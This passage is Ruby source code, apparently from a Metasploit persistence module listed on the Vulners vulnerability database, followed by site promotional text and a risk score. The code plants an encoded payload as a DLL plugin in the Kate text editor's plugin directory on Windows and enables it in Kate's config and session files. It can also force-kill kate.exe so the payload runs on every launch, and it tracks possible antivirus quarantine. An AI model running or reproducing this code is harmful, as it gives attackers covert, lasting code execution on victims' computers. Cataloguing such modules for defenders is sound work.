mkdir(kf6_dir, cleanup: false) unless directory?(kf6_dir)
mkdir(ktexteditor_dir, cleanup: false)
end
if directory?(ktexteditor_dir)
print_good("Plugin directory ready: #{ktexteditor_dir}")
return ktexteditor_dir
end
print_warning(create ? 'Failed to find or create Kate plugin directory' : 'Kate plugin directory not found')
nil
end
def install_windows
install_dir = find_kate_install_plugin_dir
if install_dir.nil?
fail_with(Failure::NotFound,
'Kate plugin directory not found — verify Kate is installed on the target')
end
unless probe_dir_writable?(install_dir)
fail_with(Failure::NoAccess,
"Kate plugin directory is not writable: #{install_dir}")
end
dll_data = windows_plugin_data(payload.encoded)
target_dll = "#{install_dir}\\#{plugin_name}.dll"
print_status("Uploading #{dll_data.size} bytes to #{target_dll}")
write_file(target_dll, dll_data)
if file?(target_dll)
print_good("Plugin installed: #{target_dll}")
else
print_warning("DLL missing after write — possible AV quarantine: #{target_dll}")
end
@clean_up_rc << "rm \"#{rc_win_path(target_dll)}\"\n"
enable_plugin_in_katerc(plugin_name)
enable_plugin_in_kate_sessions(plugin_name)
if kate_running?
if datastore['KILLKATE']
cmd_exec('taskkill /F /IM kate.exe 2>nul')
print_good('Kate killed — relaunch Kate to fire the payload')
else
print_warning('Kate is currently running — kill it with `taskkill /F /IM kate.exe` then relaunch. Payload fires on next Kate start.')
end
end
print_good('Payload will fire on every Kate startup')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 May 2025 00:00Current
5.8Medium risk
Vulners AI Score5.8